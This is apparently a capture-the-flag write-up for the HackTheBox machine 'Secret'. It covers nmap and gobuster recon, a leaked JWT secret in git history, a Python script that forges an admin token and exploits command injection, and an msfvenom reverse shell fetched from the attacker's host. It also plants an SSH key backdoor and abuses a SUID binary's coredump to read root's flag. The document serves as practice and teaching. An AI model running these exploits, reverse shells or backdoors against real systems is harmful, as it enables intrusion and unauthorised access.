HTB | Secret
1. Introduction
Hello and welcome to this write-up for the easy HackTheBox machine Secret!
This was a nice box that shows why it's important to be careful about secrets when developing software and using version control software.
The root flag also showed the danger of enabling coredumps in software, especially SUID binaries.
2. Recon
Let's start with reconnaissance as always.
2.1. Nmap
For initial scan I ran a version scan, running all default scripts on all ports:
# Nmap 7.92 scan initiated Wed Nov 3 12:22:01 2021 as: nmap -sV -sC -O -p- -oA nmap 10.129.254.88 Nmap scan report for 10.129.254.88 Host is up (0.027s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA) | 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA) |_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DUMB Docs |_http-server-header: nginx/1.18.0 (Ubuntu) 3000/tcp open http Node.js (Express middleware) |_http-title: DUMB Docs No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=11/3%OT=22%CT=1%CU=44760%PV=Y%DS=2%DC=I%G=Y%TM=6182710 OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=FA%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)OPS( OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11 OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN( OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R= OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F= OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD= OS:S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Nov 3 12:22:49 2021 -- 1 IP address (1 host up) scanned in 48.62 seconds
And as you can see above, we have three ports open:
- 22
- OpenSSH 8.2
- 80
- nginx 1.18.0
- 3000
- Node.js
And we can also conclude that it's running Ubuntu.
So now that we know what the what running on the box, we can take a closer look.
2.2. Web recon
This is split into two parts, first some directory brute force to get an overview of the webserver.
Then followed by a manual exploration of the interesting endpoints.
2.2.1. Gobuster
I ran gobuster
in directory mode using the raft-small-words-lowercase.txt
wordlist on both port 80 and port 3000.
Which gave the same output on both cases, most likely due to poor configuration.
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ] └─> $ gobuster dir -u "http://10.129.170.207" -w $REPOS/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -o gobuster/init_p80 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.170.207 [+] Method: GET [+] Threads: 10 [+] Wordlist: /home/c3lphie/repositories/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/17 14:47:32 Starting gobuster in directory enumeration mode =============================================================== /download (Status: 301) [Size: 183] [--> /download/] /docs (Status: 200) [Size: 20720] /api (Status: 200) [Size: 93] /assets (Status: 301) [Size: 179] [--> /assets/] /. (Status: 301) [Size: 169] [--> /./] =============================================================== 2022/01/17 14:51:08 Finished ===============================================================
As you can see we have 5 endpoints:
/download
/docs
/api
/assets
/.
Now that we now the different endpoints I started to explore them manually.
2.2.2. Manual recon
We get presented with this beauty of a front page when visiting both port 80
and 3000
.
We also get a nice little source code download down at the bottom of the page:
Let's download it, and while waiting for that look around the documentation!
From the documentation we learn that this is an API based authentication system, that utilizes JWT tokens for security.
But its still in development, because of the lorem ipsum
placeholder text.
That's even better for us! As it means it's probably filled with holes or stupid mistakes we can utilize.
It links to a test version of the API at /api
. Which will become important later!
2.3. Source code
Now that the source code is done downloading, let's examine it a bit more.
After unzipping the src code we see that this is a git repository:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/src/local-web ] └─> $ ls -al total 116 drwxrwxr-x 8 c3lphie c3lphie 4096 Sep 3 07:57 . drwxr-xr-x 3 c3lphie c3lphie 4096 Jan 18 10:54 .. -rw-rw-r-- 1 c3lphie c3lphie 72 Sep 3 07:59 .env drwxrwxr-x 8 c3lphie c3lphie 4096 Jan 18 10:56 .git -rw-rw-r-- 1 c3lphie c3lphie 885 Sep 3 07:56 index.js drwxrwxr-x 2 c3lphie c3lphie 4096 Aug 13 06:42 model drwxrwxr-x 201 c3lphie c3lphie 4096 Aug 13 06:42 node_modules -rw-rw-r-- 1 c3lphie c3lphie 491 Aug 13 06:42 package.json -rw-rw-r-- 1 c3lphie c3lphie 69452 Aug 13 06:42 package-lock.json drwxrwxr-x 4 c3lphie c3lphie 4096 Sep 3 07:54 public drwxrwxr-x 2 c3lphie c3lphie 4096 Sep 3 08:32 routes drwxrwxr-x 4 c3lphie c3lphie 4096 Aug 13 06:42 src -rw-rw-r-- 1 c3lphie c3lphie 651 Aug 13 06:42 validations.js
So let's check the logs for anything interesting!
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/src/local-web ] └─> $ git log commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master) Author: dasithsv <dasithsv@<CENSOR>.com> Date: Thu Sep 9 00:03:27 2021 +0530 now we can view logs from server 😃 commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 Author: dasithsv <dasithsv@<CENSOR>.com> Date: Fri Sep 3 11:30:17 2021 +0530 removed .env for security reasons commit de0a46b5107a2f4d26e348303e76d85ae4870934 Author: dasithsv <dasithsv@<CENSOR>.com> Date: Fri Sep 3 11:29:19 2021 +0530 added /downloads commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb Author: dasithsv <dasithsv@<CENSOR>.com> Date: Fri Sep 3 11:27:35 2021 +0530 removed swap commit 3a367e735ee76569664bf7754eaaade7c735d702 Author: dasithsv <dasithsv@<CENSOR>.com> Date: Fri Sep 3 11:26:39 2021 +0530 added downloads commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8 Author: dasithsv <dasithsv@<CENSOR>.com> Date: Fri Sep 3 11:25:52 2021 +0530 first commit
The commit just before the removal of .env
is really interesting, as it might contain secrets still in use!
So examining the commit with git show 67d8da7a
, gives us a secret token:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/src/local-web ] └─> $ git show 67d8da7a commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 Author: dasithsv <dasithsv@gmail.com> Date: Fri Sep 3 11:30:17 2021 +0530 removed .env for security reasons diff --git a/.env b/.env index fb6f587..31db370 100644 --- a/.env +++ b/.env @@ -1,2 +1,2 @@ DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web' -TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE +TOKEN_SECRET = secret
Let's see if there is any other vulns in the src
In the javascript file routes/private.js
, there have been implemented a logging function:
router.get('/logs', verifytoken, (req, res) => { const file = req.query.file; const userinfo = { name: req.user } const name = userinfo.name.name; if (name == 'theadmin'){ const getLogs = `git log --oneline ${file}`; exec(getLogs, (err , output) =>{ if(err){ res.status(500).send(err); return } res.json(output); }) } else{ res.json({ role: { role: "you are normal user", desc: userinfo.name.name } }) } })
Line 6 looks like it would be vulnerable to command injection.
Using what I've gathered so far, I created the following python script as a proof of concept exploit:
import requests import jwt url = "http://secret.htb:3000" token_secret = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE" def register(name, password): print(f"[+] Registering user {name}, with password: {password}") res = requests.post(url + "/api/user/register", json={"name": name, "email": f"{name}@test.dk", "password": password}) print(res.text) def login(name="", password="", email=None): print("[+] Getting standard jwt token") if not email: res = requests.post(url + "/api/user/login", json={"email": f"{name}@test.dk", "password": password}) else: res = requests.post(url + "/api/user/login", json={"email": email, "password": password}) print(res.text) return res.text def priv(jwt): headers = {"auth-token": jwt} res = requests.get(url + "/api/priv", headers=headers) print("[PRIV]: ", res.text) def logs(jwt, payload): headers = {"auth-token": jwt} res = requests.get(url + "/api/logs", params=f"file=;{payload}", headers=headers) print("[LOGS]: ", res.text) register("whatever", "strongpassword") jwt_token = login("whatever", "strongpassword") jwt_header = jwt.get_unverified_header(jwt_token) dec = jwt.decode(jwt_token, token_secret, algorithms=jwt_header['alg']) print("[+] Giving admin rights") dec['name'] = "theadmin" jwt_attack = jwt.encode(dec, token_secret, algorithm=jwt_header['alg']) print("[+] Testing privileges: ") priv(jwt_token) priv(jwt_attack) print("[+] Attacking box") logs(jwt_attack, "echo 'YOU GOT H4XED'")
I made the following 4 functions:
register
login
priv
logs
That interact with the different API endpoints, using the requests
library.
Regarding the JWT token authentication I simply used the jwt
python library to manipulate the token to gain administrator rights.
Then used the logs
function to attack the command injection vulnerability.
When running the script we can confirm that there is indeed RCE!
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ] └─> $ /usr/bin/python api_exploit.py [+] Registering user whatever, with password: strongpassword Email already Exist [+] Getting standard jwt token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2YjM0YjVlZjdlZjA0NzRlODQ5YzAiLCJuYW1lIjoid2hhdGV2ZXIiLCJlbWFpbCI6IndoYXRldmVyQHRlc3QuZGsiLCJpYXQiOjE2NDI1MTAxNDZ9.X9XBxcTEUdiayt6H-ZYeZtlAwH41Z9GPyLDrR2BXxXU [+] Giving admin rights [+] Testing privileges: [PRIV]: {"role":{"role":"you are normal user","desc":"whatever"}} [PRIV]: {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}} [+] Attacking box [LOGS]: b'"80bf34c fixed typos \xf0\x9f\x8e\x89\\n0c75212 now we can view logs from server \xf0\x9f\x98\x83\\nab3e953 Added the codes\\nYOU GOT H4XED\\n"'
3. Exploitation
Now that we have confirmed that we can Execute code on the machine, I changed the script to facilitate a pseudo shell.
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ] └─> $ /usr/bin/python api_exploit.py [+] Registering user whatever, with password: strongpassword Email already Exist [+] Getting standard jwt token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWU2YjM0YjVlZjdlZjA0NzRlODQ5YzAiLCJuYW1lIjoid2hhdGV2ZXIiLCJlbWFpbCI6IndoYXRldmVyQHRlc3QuZGsiLCJpYXQiOjE2NDI1MTI2NTh9.eCZrUu_5DsSB8txKvtSPmEGrSkbsGvkP_x0d55mBgUs [+] Giving admin rights [+] Testing privileges: [PRIV]: {"role":{"role":"you are normal user","desc":"whatever"}} [PRIV]: {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}} [+] Creating pseudo shell > whoami [LOGS] Encoding payload [LOGS] d2hvYW1p ['dasith', '"'] > ls [LOGS] Encoding payload [LOGS] bHM= ['validations.js', '"'] > ls ../ [LOGS] Encoding payload [LOGS] bHMgLi4v ['user.txt', '"'] > cat ../user.txt [LOGS] Encoding payload [LOGS] Y2F0IC4uL3VzZXIudHh0 ['671a98e1a266ca580df9af1cccc1ae25', '"']
And we got user flag!
I then created a reverse shell using msfvenom
, as my usual bash reverse shell didn't work for some reason:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/www ] └─> $ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.17.47 LPORT=4444 -f elf > reverse.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes
I then uploaded the shell using a python webserver:
> curl http://10.10.17.47:8000/reverse.elf -o reverse.elf [LOGS] Encoding payload [LOGS] Y3VybCBodHRwOi8vMTAuMTAuMTcuNDc6ODAwMC9yZXZlcnNlLmVsZiAtbyByZXZlcnNlLmVsZg== ['ab3e953 Added the codes', '"'] > chmod +x reverse.elf [LOGS] Encoding payload [LOGS] Y2htb2QgK3ggcmV2ZXJzZS5lbGY= ['ab3e953 Added the codes', '"'] > ./reverse.elf [LOGS] Encoding payload [LOGS] Li9yZXZlcnNlLmVsZg== ['ab3e953 Added the codes', '"']
Using the msfvenom
reverse shell I created a ssh backdoor:
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret ] └─> $ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/c3lphie/.ssh/id_rsa): ./www/id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./www/id_rsa Your public key has been saved in ./www/id_rsa.pub The key fingerprint is: SHA256:DaB3bowa/luoDh8ZO0B/CA86WsUia9SHRCUVLZfHlt0 c3lphie@c3lphie-laptop The key's randomart image is: +---[RSA 3072]----+ | .+o++ o o . | | o.oo = = . E | |..=o+.+ = | |.= B.o = o | |+.o * o S . | |oo o B o | |. . B . . | | o = . | | .+ o. | +----[SHA256]-----+
This was done manually as there wasn't an existing .ssh
folder:
dasith@secret:/home/dasith$ mkdir .ssh dasith@secret:/home/dasith$ cd .ssh/ dasith@secret:/home/dasith/.ssh$ curl http://10.10.17.47:8000/id_rsa.p<.ssh$ curl http://10.10.17.47:8000/id_rsa.pub > authorized_keys % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:100 576 100 576 0 0 1650 0 --:--:-- --:--:-- --:--:100 576 100 576 0 0 1645 0 --:--:-- --:--:-- --:--:-- 1641 dasith@secret:/home/dasith/.ssh$
Now we can just ssh into box instead of making reverse shells!
┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/secret/www ] └─> $ ssh -i id_rsa dasith@secret.htb Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue 18 Jan 2022 02:51:21 PM UTC System load: 0.0 Processes: 224 Usage of /: 52.8% of 8.79GB Users logged in: 0 Memory usage: 76% IPv4 address for eth0: 10.129.170.207 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Jan 18 14:49:18 2022 from 10.10.17.47 dasith@secret:~$
3.1. Priv esc
Now that we have a better shell, let's see if we can find anything to get root!
I enumerated for SUID
binaries in the hopes that I could utilize GTFObins for an easy root.
dasith@secret:/dev/shm$ find / -perm -4000 2>/dev/null /usr/bin/pkexec /usr/bin/sudo /usr/bin/fusermount /usr/bin/umount /usr/bin/mount /usr/bin/gpasswd /usr/bin/su /usr/bin/passwd /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /opt/count /snap/snapd/13640/usr/lib/snapd/snap-confine /snap/snapd/13170/usr/lib/snapd/snap-confine /snap/core20/1169/usr/bin/chfn /snap/core20/1169/usr/bin/chsh /snap/core20/1169/usr/bin/gpasswd /snap/core20/1169/usr/bin/mount /snap/core20/1169/usr/bin/newgrp /snap/core20/1169/usr/bin/passwd /snap/core20/1169/usr/bin/su /snap/core20/1169/usr/bin/sudo /snap/core20/1169/usr/bin/umount /snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core20/1169/usr/lib/openssh/ssh-keysign /snap/core18/2128/bin/mount /snap/core18/2128/bin/ping /snap/core18/2128/bin/su /snap/core18/2128/bin/umount /snap/core18/2128/usr/bin/chfn /snap/core18/2128/usr/bin/chsh /snap/core18/2128/usr/bin/gpasswd /snap/core18/2128/usr/bin/newgrp /snap/core18/2128/usr/bin/passwd /snap/core18/2128/usr/bin/sudo /snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core18/2128/usr/lib/openssh/ssh-keysign /snap/core18/1944/bin/mount /snap/core18/1944/bin/ping /snap/core18/1944/bin/su /snap/core18/1944/bin/umount /snap/core18/1944/usr/bin/chfn /snap/core18/1944/usr/bin/chsh /snap/core18/1944/usr/bin/gpasswd /snap/core18/1944/usr/bin/newgrp /snap/core18/1944/usr/bin/passwd /snap/core18/1944/usr/bin/sudo /snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core18/1944/usr/lib/openssh/ssh-keysign
There is a binary in /opt/
with setuid permissions:
dasith@secret:/opt$ ls code.c count valgrind.log
If we run the program and point it to /root
we can see it's contents:
dasith@secret:/opt$ ./count Enter source file/directory name: /root -rw-r--r-- .viminfo drwxr-xr-x .. -rw-r--r-- .bashrc drwxr-xr-x .local drwxr-xr-x snap lrwxrwxrwx .bash_history drwx------ .config drwxr-xr-x .pm2 -rw-r--r-- .profile drwxr-xr-x .vim drwx------ . drwx------ .cache -r-------- root.txt drwxr-xr-x .npm drwx------ .ssh Total entries = 15 Regular files = 4 Directories = 10 Symbolic links = 1 Save results a file? [y/N]: Y Path: /dev/shm/root_dir_count
They were even so nice and let us look into the source code of the binary!
There aren't any vulnerabilities that give us the posibility of spawning a root shell…
int main() { char path[100]; int res; struct stat path_s; char summary[4096]; printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s); if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } } return 0; }
But as you can see in the comment, coredump are generated on errors!
Which means that we can read the memory of the program, we can abuse this to get the root flag!
If we abort the process before saving the results, the file content should be present in the dump.
First we start the program and give it the flag:
dasith@secret:/opt$ ./count Enter source file/directory name: /root/root.txt Total characters = 33 Total words = 2 Total lines = 2 Save results a file? [y/N]: Aborted (core dumped)
While this is open, we can use:
kill -ABRT $(pidof count)
To force a coredump
The coredump is located in /var/crash/_opt_count.1000.crash
, a text file containing a lot of info
using the command:
apport-unpack _opt_count.1000.crash /dev/shm/crash_dump/
we get a bunch of nice files in our little crash_dump
folder:
dasith@secret:/dev/shm/crash_dump$ ls Architecture Date ExecutablePath _LogindSession ProcCmdline ProcEnviron ProcStatus Uname CoreDump DistroRelease ExecutableTimestamp ProblemType ProcCwd ProcMaps Signal UserGroups
We can on the CoreDump
file run strings
and grep after our flag file
dasith@secret:/dev/shm/crash_dump$ strings CoreDump | grep root -A 1 /root/root.txt a8a38392ccc0218d41b85f3f1a1e0d0b -- /root/root.txt Total characters = 33
And there we have it :D
4. Final words
Thank you for taking some time out of your day to read this post.
If you enjoyed this post, feel free to join my Discord server to get notification whenever I post something and ask questions if there are any.